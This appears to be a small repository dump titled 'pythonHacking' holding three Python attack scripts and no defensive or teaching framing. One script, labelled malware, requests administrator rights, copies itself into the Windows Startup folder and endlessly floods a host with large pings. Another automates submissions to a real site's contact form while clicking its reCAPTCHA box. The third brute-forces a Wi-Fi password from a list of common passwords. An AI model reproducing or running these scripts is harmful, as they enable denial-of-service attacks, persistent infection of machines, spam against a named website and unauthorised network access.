├── README.md ├── malware_dos_pog.py ├── recaptcha_one_click.py └── wifi_brute_force.py /README.md: -------------------------------------------------------------------------------- 1 | # pythonHacking -------------------------------------------------------------------------------- /malware_dos_pog.py: -------------------------------------------------------------------------------- 1 | from subprocess import call 2 | import ctypes, sys 3 | """use cx_Freezer to create a .exe of this file""" 4 | def pog() : 5 | while True: 6 | # put the name of the host on host 7 | call('ping -l 65500 host') 8 | def admin() : 9 | try: 10 | return ctypes.windll.shell32.IsUserAnAdmin() 11 | except: 12 | return False 13 | if admin() : 14 | pog() 15 | else : 16 | ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, "dos".join(sys.argv), None, 1) 17 | call("copy dos.exe %AppData%\Microsoft\Windows\Start Menu\Programs\Startup" ) 18 | pog() 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /recaptcha_one_click.py: -------------------------------------------------------------------------------- 1 | from selenium import webdriver 2 | from selenium.webdriver.common.by import By 3 | from selenium.webdriver.support.ui import WebDriverWait 4 | from selenium.webdriver.support import expected_conditions as EC 5 | import time 6 | 7 | path = "C:/Users/Murilo Henrique/Desktop/chromedriver.exe" 8 | driver = webdriver.Chrome(path) 9 | driver.get('https://rodolfodantas.com.br/contato') 10 | tela = driver.current_window_handle 11 | 12 | 13 | def enviarEmail() : 14 | texto = WebDriverWait(driver,10).until(EC.visibility_of_element_located((By.CSS_SELECTOR,".text-area"))) 15 | texto.send_keys("vc foi ludibriado :)") 16 | driver.switch_to.frame(driver.find_elements_by_tag_name("iframe")[0]) 17 | capCheck = WebDriverWait(driver, 10).until( 18 | EC.presence_of_element_located((By.ID ,"recaptcha-anchor")) 19 | ) 20 | time.sleep(1) 21 | capCheck.click() 22 | time.sleep(4) 23 | driver.switch_to_window(tela) 24 | botao = WebDriverWait(driver,10).until(EC.element_to_be_clickable((By.CSS_SELECTOR,"#id1609050065228 .rich-text-element-content"))) 25 | botao.click() 26 | 27 | for x in range(1): 28 | enviarEmail() 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /wifi_brute_force.py: -------------------------------------------------------------------------------- 1 | from subprocess import Popen, PIPE, call 2 | from time import sleep 3 | import string 4 | 5 | def testar(nome, senha): 6 | try: 7 | comando = f'netsh wlan connect name="{nome}" key="{senha}"' 8 | manipulador = Popen(comando, shell=True, stdout=PIPE, stderr=PIPE) 9 | 10 | stdout, stderr = manipulador.communicate() 11 | 12 | if "conectado" in stdout.decode('utf-8').lower(): 13 | print('Conectado') 14 | print(f"Esta é a senha: {senha}") 15 | exit() 16 | else: 17 | print(f"{senha} não é a senha") 18 | return False 19 | except Exception as e: 20 | print(f"Ocorreu um erro ao tentar a senha {senha}: {e}") 21 | return False 22 | 23 | print('Digite o nome da rede Wi-Fi:') 24 | nome = input().strip() 25 | 26 | senhas_comuns = [ 27 | '12345678', 'password', '123456789', '1234567', '123456', 28 | '12345', '1234567890', 'qwerty', 'abcdef', 'abc123' 29 | ] 30 | 31 | 32 | pausa = 1 33 | 34 | for senha in senhas_comuns: 35 | testar(nome, senha) 36 | sleep(pausa) 37 | --------------------------------------------------------------------------------